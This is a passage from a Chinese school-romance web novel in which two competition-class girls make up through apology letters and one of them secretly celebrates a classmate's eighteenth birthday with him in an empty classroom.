阿姨见了她,语气温和:“顾思安和我说,你不舒服,一直在睡觉,怎么叫都叫不醒。我也去看过你了,你当时睡得挺沉,我寻思你是不是前段时间竞赛太累了,就给你们班主任打了电话,王老师说,先给你批个假。” 楚天青怔怔地站着,低声呢喃:“我还想去上学。” 宿管阿姨笑着说:“那你就去嘛,又不是不行,洗把脸,换个衣服,就去上学吧。” 楚天青点了点头。她回到宿舍,洗了一把脸,在衣柜里翻找衣服时,手指碰到了一件外套,这是郑相宜上周送给她的礼物,全新的针织外套,青黛色,质地柔软,款式也是十分漂亮。 她心里一阵钝痛,眼泪不受控制地滑下来,胸口又酸又闷,好难受,难受得快要喘不上气了。 她怎么也想不明白,郑相宜到底在想什么? 如果一切都是假的,这些衣服呢?汉堡套餐呢?那些日常生活中的好意呢? 是真的,一定是真的,可为什么最后会变成这样? 楚天青坐到了地上。她很想倾诉,这时她才反应过来,转入省立一中将近三个月了,她熟悉的同学只有几个人:郑相宜、顾思安、陈曼、纪明川、宋远舟,还有十八班的许月亭。 她翻开微信联系人,最终选择了……妈妈。 她给妈妈发了一条微信:“妈妈,我和郑相宜吵架了,我好难过,一直在哭。” 她等了一会儿,妈妈没有回复,她又说:“妈妈,我没有打扰你工作吧?你不要管我了,我在上学,一切都好。” 她背起书包,走向教学楼。 天色昏暗,细雨连绵。 楚天青抵达教室的时候,物理老师关书伦正在上课。楚天青喊了一声:“老师……” 关书伦侧过头,看见楚天青脸上泪痕未干,只淡淡说了一句:“快进教室吧。” 他并未责怪楚天青迟到了,楚天青一路小跑回了自己的座位,前排的纪明川低声问她:“你怎么了?为什么哭了?” “眼睛进了沙子,好痛。”楚天青低下头,撒了个谎。 纪明川又问:“真的吗?你别骗我。” “我……我浪费了一杯奶茶,”楚天青的语气半真半假,“好心痛。” 纪明川敲了一下桌子:“你不能这样一直骗我。” 楚天青还没回答,关老师拍了拍黑板:“注意听讲,同学们,这堂课很重要,老师在帮大家复习重点和难点。” 楚天青自言自语:“还是听课吧。” 纪明川不再说话了。 过了一会儿,趁着关老师在黑板上写字,纪明川递过来一张纸条,楚天青打开一看,只见上面写着一行文言文:“锲而舍之,朽木不折,锲而不舍,金石可镂。石可破也,而不可夺坚,丹可磨也,而不可夺赤。” 楚天青搞不懂纪明川在干什么,她问:“你为什么要写这些名句给我看?” “只可意会,不可言传,”纪明川靠着椅背,低声说,“你仔细看,看懂这些名句里的意思,鼓励你自己。” 楚天青把纸条还给他:“谢谢,我暂时用不上。” 纪明川把纸条收了回去,似乎有些无奈。几分钟后,楚天青看见他从抽屉里拿出一本厚重的《古代汉语词典》和一本《文言文名句手册》,他正在一页一页地翻查,忙碌不已。 宋远舟也回头说了一句:“你看看,纪明川有多忙。” “真的好忙啊。”楚天青点了一下头。这本来是挺好笑的一件事,但她现在笑不出来了。 物理课结束之后,楚天青偷偷看了一眼手机,妈妈还没给她回复,难道妈妈也很忙吗? 楚天青站起身来,故意绕到了第一大组,从郑相宜的座位旁边经过。郑相宜还在看书,楚天青不知道她正在看什么,顾思安却跑了过来,直接对郑相宜说:“你和楚天青好好说说吧,你们两个到底怎么了?” “我不想说,”郑相宜不假思索,“你让我一个人静一静。” 顾思安不依不饶:“不是啊,你有没有听懂我在说什么啊?你们两个之前关系那么好,现在怎么会……老死不相往来了?” 这一句话,竟然被同组的陆子昂听见了。 陆子昂心情大好,“哈哈”地大笑两声:“楚天青活该!我就说她晦气,谁沾上她,谁倒霉!郑相宜,你终于想通了吧?” 若是在平常,楚天青一定会出言反击,但她现在没心情吵架,她只是沉默地走了过去,陆子昂还在她背后喊话:“喂,倒霉鬼?穷鬼?!” “陆子昂,你闭嘴吧!”郑相宜出声了,甚至比从前更凶狠,“说那么多废话,你也不怕咬到自己舌头?” 陆子昂从座位上站了起来:“你不会还在护着她吧?” 郑相宜低头看书:“我不会护着她,当然也不想听你乱喊乱叫。” 陆子昂又笑了:“我就知道,你是真的和她闹掰了,我会帮你出气的。” 是吗? 郑相宜没接话。她拿出手机,也给妈妈发了一条微信:“妈妈,我不知道自己是怎么回事……” 天色渐暗,下午四节课一眨眼就过去了,雨还没停,郑相宜坐在教室里,听见窗外淅淅沥沥的雨声。 这时候,郑相宜收到了妈妈的消息:“妈妈开车赶来了,在南门的门口等你,给你带了一碗水饺,来吃吗?” 郑相宜立即背起书包,撑开一把伞,飞速往南门跑去,雨水淋到了她的身上,她也不在乎,只知道妈妈在南门等她,妈妈来了。 学校才刚放学,南门之外,停着一排排颜色各异的轿车,许多家长都在等候自己家的孩子。 郑相宜走到门口,看见妈妈撑着一把伞,站在人群之外,她加快了脚步,跑向妈妈:“妈妈!” 妈妈抬手搂住了她的肩膀,伞往她这边倾斜了一些,带着她一起走向路边停着的一辆轿车。 车门打开后,她们坐进后排,再把门关上,隔绝了外面的雨声,车厢里安静下来。 妈妈从袋子里拿出一个不锈钢保温桶递给她,里面是热气腾腾的水饺。 郑相宜接过来,打开盖子,熟悉的香气扑面而来。她拿起筷子,咬了一口,饺子软糯鲜香,馅料是她最喜欢的胡萝卜猪肉,温度正好,不烫嘴,暖身又暖心。 可她吃着吃着,眼泪就流了下来:“妈妈……” “怎么了?”妈妈摸着她的头发,“饺子不好吃吗?” 郑相宜哽咽道:“好吃,可是我……我和楚天青吵架了,陈曼说我嫉妒她,我考砸了,她考得很好,我好像真的嫉妒她……我把她送我的奶茶打翻了,还说我不会再和她说话……妈妈,我……我怎么会这样?” 妈妈还在抚摸她的头顶:“妈妈不是和你说了吗?你没考砸,省一等奖已经非常优秀了,当初妈妈就说,你能考三等奖,妈妈就满意了。” “不对,”郑相宜摇头,“你之前让我把目标定高,还让我去清北。” 妈妈抬手擦了一下郑相宜的眼泪:“那是之前了,妈妈还不了解竞赛的难度,后来妈妈了解了,就再也不敢那样要求你了。” 郑相宜的眼泪还没停下来:“可是你一个人挣钱很不容易啊,我……我至少浪费了你几十万……” 妈妈轻拍了她的后脑勺:“那怎么能叫浪费呢?你不要心疼钱,你是补课补了两年,可是你出成绩了啊,省一等奖,一共得了三次,别的家长要是听说了,都会羡慕妈妈的。” 郑相宜低着头,又不说话了,眼泪止不住地往下掉。 妈妈轻声问她:“你说你嫉妒楚天青,那妈妈问你一个问题,你有没有想过,哪怕只是一瞬间,真心希望她过得不好?希望她摔跤、倒霉、生病……不要过得这么顺利?” 郑相宜猛地摇头,哭得一塌糊涂:“没有……从来没有,我希望……真的希望她过得很好……越来越好……她要是不好了,我反而会很难过、很伤心……” 妈妈轻轻叹了口气,帮她擦了擦眼泪:“那这就不叫嫉妒了,真要是嫉妒一个人,是不会希望她过得好,更不会心疼她的。” 郑相宜泪眼朦胧:“那……那这是什么呢?” 妈妈轻轻揽住她的肩膀:“你可能是太想追上她,心里太着急了,看到复赛成绩后,你没把状态及时调整过来,讨厌自己发挥失常,才会委屈、难过……妈妈也有错,妈妈应该早点到学校来安慰你。” 妈妈还把郑相宜鬓角的发丝捋了捋:“你是妈妈最重要的人,只要你过得好,妈妈就安心了,清北不清北的,无所谓的,考不上也没关系。你在省城读大学也很好,你过得幸福、安稳,妈妈就很高兴,妈妈只想你健康、平安、开心。” 郑相宜哭着点头。 妈妈温柔地笑了笑:“成绩再高、学校再好,如果每天都不快乐,那才是真的没意义。妈妈宁愿你普通一点,也不愿意看到你这么难过,总是觉得自己不够好。” 她拍了拍郑相宜的后背:“人和人相处,不是比赛,你有你自己的路,只要你愿意走,妈妈就陪你一起走下去。” 郑相宜哭得更厉害了,却终于破涕为笑,勉强挤出一个笑容:“嗯!”随后又问:“可是我和楚天青……我和她,怎么办呢?” 妈妈说:“你给她写一封信吧,把你想说的话告诉她。” 郑相宜答应了。 吃完水饺,雨停了,郑相宜和妈妈告别,从车上出来,走回了教学楼,晚自习已经开始了,郑相宜的心里却很紧张,好像是生平第一次上晚自习一样。 班上同学大概有三分之一是走读生,剩下三分之二是住校生,此时,那些同学都在埋头做题,郑相宜也回到自己的座位上,用湿巾擦了一把脸。然后,她从笔记本上撕下一页纸,在纸上写了一封道歉信,写完后,还喷了一点她常用的柑橘气味的香水。 她又把这一封信默读了一遍:“楚天青,我不知道你会不会喜欢这种味道,我以前也没给别人写过道歉信。对不起,今天中午,我不该和你吵架,现在……我很后悔。我觉得自己很坏,很小气,很恶毒。我一直都希望你能过得好,请你相信我。我希望我们能再讲一句话,哪怕是从‘你好’开始。” 泪水又落在纸页上,晕开一道痕迹。 郑相宜把信纸叠好,飞快地跑到了楚天青座位旁边,又把信纸扔在她的桌子上,转身跑远了。 郑相宜心情忐忑。她等了十分钟,等来了楚天青的回信,楚天青也像她一样,放下了另一张纸,然后,楚天青也走回去了。 郑相宜双手颤抖,慢慢打开这张纸,她看见,楚天青在纸上写道:“你好,小郑。我一直想对你说,谢谢你照顾我,借我饭卡,带我回宿舍睡午觉。那是我们认识的第一天,那天我真的很饿,但其实,更害怕的是没人看见我。谢谢你那时候看见我,现在我也看见你了。我喜欢你送的礼物,也喜欢你。恶毒小气的人不会写出这样一封信,你是很好很好的人。你的朋友,小楚。” 这一节自习课上,郑相宜的泪水汹涌而出。 36 对数人生理论 郑相宜觉得自己的那封道歉信写得并不好,刚才她太激动了,边哭边写,字迹都有些歪歪扭扭,根本说不清她真正想表达的心里话。 楚天青的回信却是那么温柔,那么轻易地原谅了她,读着读着,她反而越发难受。她白天说得那些话太过分了,她更不知道应该怎样去弥补楚天青才好。 郑相宜还记得,自己曾经对楚天青说过:“我从来不做让我后悔的决定。” 可现在,她是真的后悔了,后悔得胸口发闷,只能把双手搁在桌上,头埋进臂弯里,悄无声息地哭泣。 她忽然想起了陈曼说的那个鬼故事。 鬼一直跟在人身后,人站在镜子前审视自己时,才会猛然发现,那一道鬼影从未离开过。 恐惧、懊悔、慌乱的情绪混杂在一起,让她忐忑不安,双手微微颤抖,像是真真切切地成了鬼故事里的人。 郑相宜还没缓过来,前排的几个同学又低声笑了起来。 其中一个男生是陆子昂的同桌,他压着嗓子说:“郑相宜还在哭啊?没完没了。” 是的,她还在哭,那又怎样呢? 她的情绪,她的眼泪,都是她真实的体验,是她亲身经历的疼痛和崩溃。 那些旁观者不明白,她也不需要他们明白。 郑相宜擦干了眼泪,坐直了身子。她又给楚天青写了一封信,这一次,她写得更长,也更认真。 她缓慢落笔:“小楚,我还是想再和你说一声对不起,今天我说了很多难听的话,我自己都不知道自己在说什么。我太着急了,太害怕了,情绪也太激动了,但这不是我伤害你的理由。你永远那么冷静、那么温柔,所以你会原谅我。但我不想只靠你的宽容来维持我们的关系。我想和你好好做朋友,衷心祝愿你省队训练顺利,祝你进入国家集训队,祝你走向更广阔的世界,在属于你的路上,大放光彩。你的朋友,小郑。” 写完最后一个字,她轻轻呼了口气,把纸叠好,站起身来。 她的脚步比之前慢了许多。她绕到楚天青的座位旁边,把那封信放在桌角,又悄悄离开了。 楚天青听见了郑相宜的脚步声,当她转过头时,郑相宜已经走远了。 楚天青摊开信纸,读完了郑相宜的第二封道歉信。 她注意到,信纸上又有了泪痕,就像第一封道歉信一样。 其实,当她收到第一封信的时候,她还是有些难受的。那种说不清的委屈和失落,仍然残留在心里。 可是,她也无法忽视郑相宜的眼泪。 第二封信的字迹更工整,泪痕却不比第一封少一点。 楚天青拿起签字笔,再次写下了回信:“小郑,请听我说,在心理物理学中,有一个经典理论,叫做韦伯-费希纳定律,主要说的是,人类对外界刺激的感知不是线性的,而是对数函数关系,无论是光线、声音、时间,还是快乐与痛苦,总是会随着时间推移,渐渐变得模糊,变得不那么强烈……” 写完“强烈”两个字,楚天青的笔尖停了下来。 她抬头,望了一眼窗外的夜色,又低下头,继续写道:“由此,衍生出一个‘对数人生理论’,因为人对时间的感知是对数式缩放的,所以,人生的前十八年,才是心理意义上的‘前半辈子’,此后的漫长人生,只是后半辈子。” 楚天青在纸上画出了一条对数函数的曲线,在横坐标轴上,标注出了“18”这个数字。 接下来,她又写:“十八岁之前的每一分、每一秒,都比之后的人生更浓烈、更容易被铭记。所以,不要责怪自己的情绪太激动,这是每个人都会有的感受,也是值得被原谅的。无论是十八岁之前,还是十八岁之后,我们都会时不时地害怕、难过、迷茫,但这都没有关系,你永远可以被理解,也永远值得被温柔以待。你的朋友,小楚。” 教室外是一片飒飒雨声,教室里,同学们都很安静,楚天青只能听见笔尖在纸上滑动的细微响动。 楚天青站起身来,把自己的回信送到郑相宜的桌子上,等到郑相宜打开以后,她才转身返回第四大组。 楚天青才刚坐下没多久,郑相宜飞快地跑过来,递给她一个全新的笔记本。 笔记本的扉页上,郑相宜认真写了一封保证书,承诺以后再也不会和楚天青吵架,再也不会因为情绪失控而迁怒她。 楚天青拿过笔,在扉页的空白处,添了两个字:“收到。” 当天晚上,晚自习结束后,郑相宜拉着楚天青跑去食堂窗口,买了两杯抹茶珍珠奶茶。郑相宜抢先刷了卡,又把其中一杯奶茶递给楚天青。 她们晚饭都吃得很少,现在确实有些饿了。还没走到寝室,两个人都把奶茶喝完了,手里握着空杯子,嘴里还能尝到奶茶的香气,回味是甜的。 寝室里灯光明亮,顾思安和陈曼都已经回来了。 顾思安看到楚天青和郑相宜一同走进来,长长地叹了一口气:“太好了,你们今天真把我吓坏了。” 楚天青低下头,默默地看着地板,其实她自己也吓坏了。她没接话,只是把书包放到书桌上,翻找东西时,手机从书包里滑了出来。 她这才发现,妈妈在三小时之前给她发了一条微信:“听你说你和郑相宜闹别扭了,我打电话问了她妈妈,她说郑相宜跟你道歉了。你们两个没事吧?别生气了啊,我和她妈妈都挺担心你们两个。” 楚天青的指尖飞快敲字:“妈妈,我和郑相宜已经和好了,以后也不会再这样了。” 妈妈很快回复:“那就好。” 很简单的一句话,还加了一个笑脸。 楚天青把手机放回桌上,又做了一个深呼吸。妈妈总在尽力帮她,也很关注她的喜怒哀乐,这一份心意,从来没少过一丝一毫。 今天终于结束了,虽然她哭了好几次,但是,人都有脆弱的时候,医生告诉过她,一定要宽容自己,对她的病情有好处。 楚天青洗了个热水澡,把今天的一切烦恼和忧愁全部洗掉,从浴室出来后,她安静地爬上床,在室友们关灯之前,她已经昏昏沉沉地睡着了。 第二天早晨,楚天青刚醒没多久,手机就开始震动了,妈妈又给她打了个电话。 妈妈的声音很激动,甚至有点发颤:“宝宝,你快看看支付宝……到、到了两万块钱,妈妈吓得腿都软了……” 楚天青恍然反应过来。因为她在竞赛复赛中表现优异,顺利加入了数学和物理这两个学科的省队,学校向她发放了两万元奖学金。 两万元。 她怔怔地盯着手机,指尖点在屏幕上,静止许久,才稍微划动了一下,打开支付宝的页面,她简直不敢相信自己的双眼,学校真的奖励了她两万元?! 楚天青终于明白了妈妈说的“腿软了”是什么意思。 楚天青的双腿也开始发软了。此时她还坐在床上,脚底软绵绵的,轻飘飘的,像是踩在一团松软的棉絮里。 她退出支付宝,又点进去,反反复复好几次,一遍一遍确认到账的数字,她的情绪渐渐安定下来,心跳也没有之前那么快了。 她给妈妈发了个消息,决定把这一笔巨款一分为二,她拿一万,妈妈拿一万。 很快,妈妈回了消息:“宝宝,妈妈拿五千就行了,剩下的一万五,你自己留着。妈妈听你老师说了,你以后还要参加全国决赛、亚洲决赛,没钱怎么行呢?到时候你别委屈了自己。” 楚天青的手指停顿了好久,才把心底翻涌着的情绪一点点压了下去。 今天早晨,天色阴沉,昨夜下了一夜的雨,空气里的潮意尚未散尽。 楚天青和郑相宜、顾思安一起去了食堂。 楚天青点了一碗番茄牛肉面,巨额奖学金到账了,值得庆祝,她决定奢侈一回,好好犒劳一下自己。两万元,是一个里程碑,也是一个起点,她还要参加全国、甚至全亚洲的比赛,她希望自己能赚到更多奖学金,吃到更多美食,再把家里的欠债全部还清。 那一碗牛肉面爽滑鲜香,驱散了初秋的寒意。 吃完饭,三个人说说笑笑往教室楼走去,楚天青的心情是久违的轻松。她连走带跑,一口气跑上了三层楼。 还没走到教室,楚天青远远看见几个外班的同学站在十七班的走廊上。他们之中,有男有女,都穿着整齐的校服,劳动委员冯康正在和他们说话。 楚天青走了过去,那些人已经三三两两散开了,冯康也转过头来。 楚天青连忙问:“发生什么事了?” “嗨,”冯康拎起了拖把,“今天是纪明川的生日,一年一度,别的班的几个同学想来送礼物,被我赶走了。” 楚天青往教室里看了一眼:“啊?可是,纪明川不是已经来了吗?你怎么不叫他出来收礼物呢?” 冯康拖完了一块地砖,才说:“他不收那些不熟的人的礼物,哎,没办法,他不是长得帅,成绩又好吗?他高一刚入学那会儿,加了个社团,结果人家把他生日公开了。每年他过生日的时候,总有几个人来送东西,当然也不是什么好东西,我看了,都不贵。” “那他们为什么要来送礼呢?”楚天青疑惑不解。 “谁知道呢?”冯康耸了耸肩,还在辛勤劳动,“也许是想让明神辅导他们吧,明神点拨一下,他们的成绩就能突飞猛进。” 那他们还不如来找我。楚天青心里暗想。 37 红茶蜜桃蛋糕 楚天青快步走进教室,一路小跑回到了自己的座位,坐下时,书包都还挂在肩上,没来得及放进抽屉。 她犹豫了一下,伸手轻轻拍了拍纪明川的肩膀,小声问:“今天是你的十八岁生日吗?” 纪明川转过身来:“是,怎么了?难道你……” 楚天青已经猜到了纪明川的意思。她摇了摇头:“我没给你准备礼物,我不知道今天是你的生日。” “我并不是很在乎生日礼物,”纪明川看向了一旁的窗帘,“其实你送不送都行……如果你一定要送,我也不会拒绝。等到你过生日的时候,我会回礼。” 楚天青不自觉地笑出声来。她和纪明川相处了几个月,已经能听懂他的言外之意。她可以确定,他想要她的礼物,而且,他很期待。 “今天是九月三十号,你的十八岁生日,”楚天青认真地看着他,“我想请你吃顿饭。你请过我好几次了,我还没回请过你,今天……可以让我请一次吗?” 纪明川微微一怔:“你……今天能离校吗?” 楚天青叹了一口气:“不行,十一月就是竞赛决赛了,这段时间我都不能离开学校,还得一直训练,十一假期结束后,我还要接着参加省队训练。” 纪明川默默地梳理了一遍今天的安排,父母计划在中午为他庆生,下午他还会正常上课,父母也会去医院上班,晚上七点半之后才会回家。 学校下午六点放学,因此,纪明川可以在学校待到晚上七点。 纪明川没说话,指尖轻敲了一下桌面。 楚天青又问:“你同意了吗?” 纪明川压低了嗓音:“我们不能在食堂一起吃饭,会被同学看到,他们吵起来太刺耳了。比如冯康那个人,你也知道,他要是看见了什么,第二天就能传遍全校。” 楚天青点了点头:“刚才冯康告诉我,你读高一的时候,社团泄漏了你的生日,后来有人给你送礼物,是想让你帮忙辅导功课吗?” 纪明川与楚天青对视一眼。他笑了一下,笑意极淡:“别管他们是怎么想的,我和他们也不熟,基本没说过几句话。” 他语气平静,像是随口提起一件与己无关的小事:“我不太清楚是哪些人要送礼物,也许是几个班里的小团体,来来往往的,凑热闹的多,我也没放在心上。” 楚天青听完纪明川的话,突发奇想:“以后我们可以一起去做家教,肯定能赚不少钱!” 纪明川没料到楚天青思维跳跃如此之大,上一秒还在讨论外班的那些人,下一秒又要和他一起去做家教。他反问:“之前不是说好了,先让我进厂打工吗?” “不对,”楚天青记忆力极好,她纠正纪明川,“我之前说的是,我不会让你卖苦力的。” 她的视线毫不偏移地落在他身上,他转过头,只淡淡地“嗯”了一声,但她看见他的唇角渐渐扬起来,似笑非笑。 楚天青也笑了:“我还是想请你吃饭。” 她指了指楼上:“我们可以去顶楼,竞赛班有很多空教室,我们不会被别人发现。我提前去食堂买好蛋糕、橙汁、炸鸡,我们就在教室里一起吃晚饭,好吗?” 纪明川总觉得有点不对劲,但他并未拒绝楚天青,只说:“竞赛班的教室……也不是不行。” 楚天青双手托腮:“我仔细观察过你,你喜欢吃紫菜包饭,我也会在食堂买一份紫菜包饭的。” 纪明川冷静地制止她:“别花那么多钱,买个蛋糕就行了,紫菜包饭十五块一份,有点奢侈了。” 今天早晨,楚天青收到了两万元奖学金,现在她很有底气:“没关系啊,我拿到复赛奖金了,我有钱了,想请你吃点好的,这也算是我的心意。” 纪明川退让了一步:“你只买蛋糕和橙汁,剩下的让我来买,行吗?你要是不答应,我就……不去竞赛教室了。” “不去竞赛教室,还能去哪里呢?”楚天青很惊讶。 纪明川看向了窗外:“操场,我会在蹲在地上吃盒饭。” 楚天青忍不住笑了,忽然又有些担心,她很害怕纪明川真的会在地上蹲着吃盒饭。 这可是他的十八岁生日啊,怎么能过得像是在工地上打工一样呢? 她连忙答应:“好好好,别的都交给你,我只买蛋糕和橙汁……” 楚天青这句话还没说完,宋远舟背着书包,慢悠悠地走进了教室,他今天来得比平时更迟一些。 宋远舟走到课桌前,书包还斜挂在左肩上。他单手拉开拉链,从包里拿出一本崭新的《唐诗宋词鉴赏辞典》,放到纪明川的桌上,语气一如既往的漫不经心:“生日快乐,明神。” 近日以来,宋远舟注意到了纪明川十分刻苦地钻研语文和英语,虽然不是很理解纪明川到底在想什么,宋远舟还是挑选了一份合适的生日礼物。 纪明川低头扫了一眼,淡淡一笑:“多谢,这次月考,我的语文会提升不少。” 纪明川坦然说出自己的计划,也不怕楚天青听见,哪怕她从今天开始几近疯狂地学习语文,也不一定能追上他的脚步。 纪明川站了起来,宋远舟顺势走进自己的座位,还不忘转头对楚天青说:“我看纪明川还是有点疯了,十一假期结束后,就是月考,要不你让着他点儿?别比他的分数高太多了,要不然‘明神’的名号保不住了,大家都会叫他小纪。” “啊?”楚天青自言自语,“你还不如劝他别和我争了,反正也争不过。” 宋远舟已经坐了下来。他没忍住,笑得前仰后合:“你对小纪太残忍了。” 楚天青抱紧了自己的书包:“可是我觉得,小纪这个称呼,挺可爱的。” 纪明川在心里接话,呵呵,并不可爱,有一种被贬入凡间的感觉。 纪明川又拿出他珍藏的笔记本,扉页、第一页和第二页已经全部写满了。他翻到第三页,却没像往常那样写下一句格言,只是随手写了一行:“2025年9月30日,阴天,小雨,傍晚会在学校庆祝生日……” 写到这里,他的手指停顿了几秒钟,又落下一笔:“随缘吧。” 身不由己,心不自持,神不自安,无法言说。 只能随缘了。 他又另起一行,笔势沉稳而有力:“十一期间,专心学习,争取月考重回年级第一,有志者,事竟成。你想要的东西,不会从天而降,只有努力,没有侥幸。” 写完之后,他轻轻合上笔记本。 楚天青又在他背后笑了一声:“你每一次在这个本子上写字,都特别有气势,像是在发誓一样。” “可能吧,”纪明川淡然回答,“也许愿望会实现。” 虽然楚天青人品很不错,但是,纪明川还是无法接受她的那些狂妄之极的大话,比如“你怎么也考不过我”,还有“我睁眼能赢你,闭眼也能”,以及“你还是别和我争了,反正也争不过”。 纪明川仍然沉浸在无法形容的复杂情绪里,又在不知不觉中,度过了一整个白天。 傍晚时分,黄昏已至。 校园里笼罩着一层薄雾,雾气与暮色相接,食堂的灯光都有些模糊了。 清冽的空气里,似乎能闻见桂花的香味,楚天青做了一个深呼吸,加快脚步,直奔食堂。 纪明川跟在楚天青的背后,与她相隔十米远,两人已经制定好了计划,不会让同学和老师误会他们共进晚餐的意图,即便如此,他们的行动还是带着几分心虚和鬼鬼祟祟。 楚天青跑进食堂,在一楼买到了最受欢迎的红茶蜜桃蛋糕。她一共买了两块蛋糕,又转身去买了两杯鲜榨橙汁。 她站在角落里等了一会儿,才等到纪明川向她走来。他手上多了三个塑料袋,袋子里装着饭盒。他买了炸鸡、薯条、汉堡,紫菜包饭,还拿了两双一次性竹筷。 好丰盛的晚餐啊,楚天青心想。她笑了一声:“走吧。” 傍晚六点二十,天空更加黯淡,黄昏的余光快要收尽,天际线也只剩一道残影。在微凉夜色之中,楚天青和纪明川走到了顶楼的竞赛班教室。 楚天青抬头,望了一眼对面的走廊,几个教室还亮着灯,她知道,信息竞赛生们正在准备十月下旬的比赛。与数学、物理、化学、生物相比,信息竞赛的赛程往往更多一些,时间也稍微晚一些。 “我们还是要小心点,”楚天青压低声音说,“不能被人发现。” 纪明川没说话,目光扫了一圈,选中了第一大组最后一排,紧挨着后门的位置,那里安静、隐蔽,也是最不容易被人注意到的一处角落。 他走过去,把饭盒一一摆好,掀开盒盖,炸鸡、汉堡和紫菜包饭的香味弥漫在空气里。窗外隐约飘进来一股桂花香,那些气味混在一起,竟有一种微妙的暖意。 楚天青拉开椅子,坐到了他身边,像是他的同桌一样。 她递给他一杯橙汁,又拿起自己的那杯,轻轻碰了碰他的杯沿:“干杯,生日快乐。” 她还冲他笑了笑:“十八岁生日快乐。” 纪明川把筷子递给她:“你的十八岁生日是什么时候?” “明年,”楚天青掰开竹筷,夹起一块炸鸡,“到时候我会告诉你的。” 纪明川喝了一口橙汁,想了想,又问:“那只鲨鱼……你还留着吗?” “在我床上,”楚天青点了点头,没有一丝迟疑,“我每天晚上都抱着它睡觉,不然我睡不着。” 纪明川险些呛住了。他侧过脸去轻咳了几声,等到自己平静下来,才转回头,语气维持着一贯的平稳:“那挺好的。” 他还说:“真是买对了。” 38 真金不怕火炼 楚天青拽了一下纪明川的书包带子:“我送你的小金鱼,被你挂在书包上了。” “那天顺手挂上去的。”纪明川抬起手来,指节虚握着,略微挡住了他的侧脸,仿佛在刻意掩饰自己的情绪。楚天青还是看见了,他的唇角是上翘着的,他应该是很高兴的。 “你心情很好。”楚天青直白地说了出来。 纪明川的坐姿更加端正:“还好,快放假了,全校学生心情都挺好。” 楚天青低下头,咬了一口汉堡,过了一会儿,她才说:“你的生日是9月30号,刚才我在心里算了一下你的八字……” 纪明川很惊讶,也很好奇:“你还会算命?” “嗯,会一点,”楚天青点头,“八字分为年柱、月柱、日柱、时柱,你的日柱天干是丁火,地支是卯木,所以,你是天生火命。” 纪明川反问:“你是什么?” “我是金,”楚天青开了个玩笑,“火生土,土生金……你和我,关系还不错吧。” 纪明川只想到一个词:“真金不怕火炼。” “好,”楚天青顺口说,“我是真金,你是猛火。” 纪明川也不知道她这句话究竟有什么深意,也许勉强可以算作一句夸奖?但她不像是在夸他勇猛,他也不觉得自己曾经在她面前表现得足够勇猛。 楚天青又拿起筷子,夹了一块紫菜包饭。 紫菜包饭的米粒软糯,裹着爽口的黄瓜、弹嫩的虾仁、金黄的鸡蛋,还有微微酸辣的泡菜,每一口都是满满的鲜香清爽,大大勾动了她的食欲。 她口齿不清地说:“紫菜包饭真的很好吃,你很有品味。” “不要总是这样夸我,”纪明川警觉起来,“夸得多了,我会当真。” 楚天青咀嚼完毕,才问出一句:“你不喜欢别人夸你吗……难道,你更喜欢听我讽刺你?” 纪明川还没回答,楚天青又举了个例子:“像这样吗?你有点笨,不过呢,好在是那种……笨鸟先飞的笨,你飞得慢点,也没什么不好,我可以停下来等你。” 纪明川一巴掌拍在了他自己的额头上,语气无奈:“哪怕今天是我生日,你果然还是……” “没有,没有,”楚天青急忙解释,“如果我真想羞辱你,又怎么会给你买蛋糕和橙汁呢?” 纪明川淡然一笑:“在羞辱的过程中,更有仪式感。” 他转过头,不再看她:“你高兴就好,反正我也习惯了。” 楚天青忍不住也笑了,把蛋糕小心地推到他的面前:“我是真心想给你过生日的,祝你越来越聪明,越来越快乐,希望我明年还能陪你一起过生日。” “明年?”纪明川声调低沉,“那时候我们都考上大学了,应该会在同一所大学吧。” 为了不引人注意,楚天青和纪明川都没开灯,空荡荡的教室里,只有他们两个人。 天已经完全黑下来了,窗外夜色深浓,对面走廊的昏黄灯光透过玻璃照射进来,眼前一切景象都是半明半暗、影影绰绰的,却还是能看见轮廓。 他们的影子静静落在墙上,楚天青一手托腮,双眼一眨不眨地望着纪明川。她忽然发现,纪明川的侧脸比她记忆中还要好看。她没说话,只是咬着吸管,喝了一口又一口的橙汁。 “嗯,”纪明川察觉到她的目光,“你怎么不说话了?” 窗户并未关紧,吹进来一股冷风,夹杂着秋夜的凉意。 楚天青低头打了个喷嚏。 九月底已是将近中秋,这几天又一直在下雨,天气越发阴沉。这间教室位于顶楼,正对着风口,比普通教室更清冷,也更寂静。 纪明川从书包里拿出一件外套,抬手盖在了楚天青身上。那衣服带着微凉的触感,一下子遮住了楚天青的脑袋,只露出一点下巴。 楚天青先是一愣,随即忍不住笑出了声。她干脆抬起外套的衣领,把整张脸埋进去:“现在是谁在说话啊?” 她又把外套撩起来,对上纪明川的视线:“是我,小楚。” 纪明川与她目光相接,他的指尖敲了敲桌面,却没说话。 他的唇角很浅地弯了一下,又偏过头,像是不愿让她看见。 过了两秒,他才开口说:“原来是你。” 他还说:“小楚……是挺小的,我已经十八岁了,你还是只有十七岁。” “我不小,”楚天青和他争辩,“明年我也会长到十八岁。” 纪明川笑了笑,又问:“我比你大几个月?” 楚天青摊开外套,也罩在了纪明川头上:“六个月,你刚好比我大半岁。” 这一瞬间,他们两个人一同躲在外套里,彼此的呼吸清晰可闻,只隔着不到十厘米的距离,谁也没再开口说话,呼吸渐渐混乱起来,心跳也在不受控制地加快。纪明川的声线比平日里更低一些:“你的生日,是三月还是四月?” 楚天青忽然钻了出去:“好热。” 那外套还盖在纪明川头顶。他一动不动,“呵呵”地低笑一声:“今天不用唱生日歌了,可以唱那首歌,‘掀起了你的盖头来,让我来看看你的脸’……” 楚天青又笑了。她一边掀开外套,一边轻声唱歌:“祝你生日快乐,祝你生日快乐,祝你健康平安,祝你茁壮成长……” 这首歌还没唱完,门外响起一阵脚步声。 楚天青连忙钻到了课桌底下。纪明川的反应远没有楚天青那么迅速,他依然坐在座位上,那外套落到了他的肩膀上,窗外照进来一束手电筒的光柱。 学校的保安正在巡逻,保安站在窗外,疑惑地问:“哎,同学,你怎么一个人坐在这里啊?你是哪个班的,你班主任在学校吗?” 蹲在课桌下的楚天青紧张起来。她不知道纪明川会怎么回答? 纪明川声线平稳,听不出一丝破绽:“我是竞赛班的学生,正在这里自习。” 保安又问:“那你怎么不开灯呢?你这不把眼睛熬坏了吗?” 纪明川低头笑了笑:“刚吃完饭,我关了灯,想休息一会儿。” 保安半信半疑,往前走了两步,手电筒的光扫过来,正照在纪明川的脸上。 认出了纪明川之后,保安的语气更加温和:“哎,是你啊,同学,高三的年级第一吧?” 不是了。 纪明川在心里想,他只是曾经的年级第一。 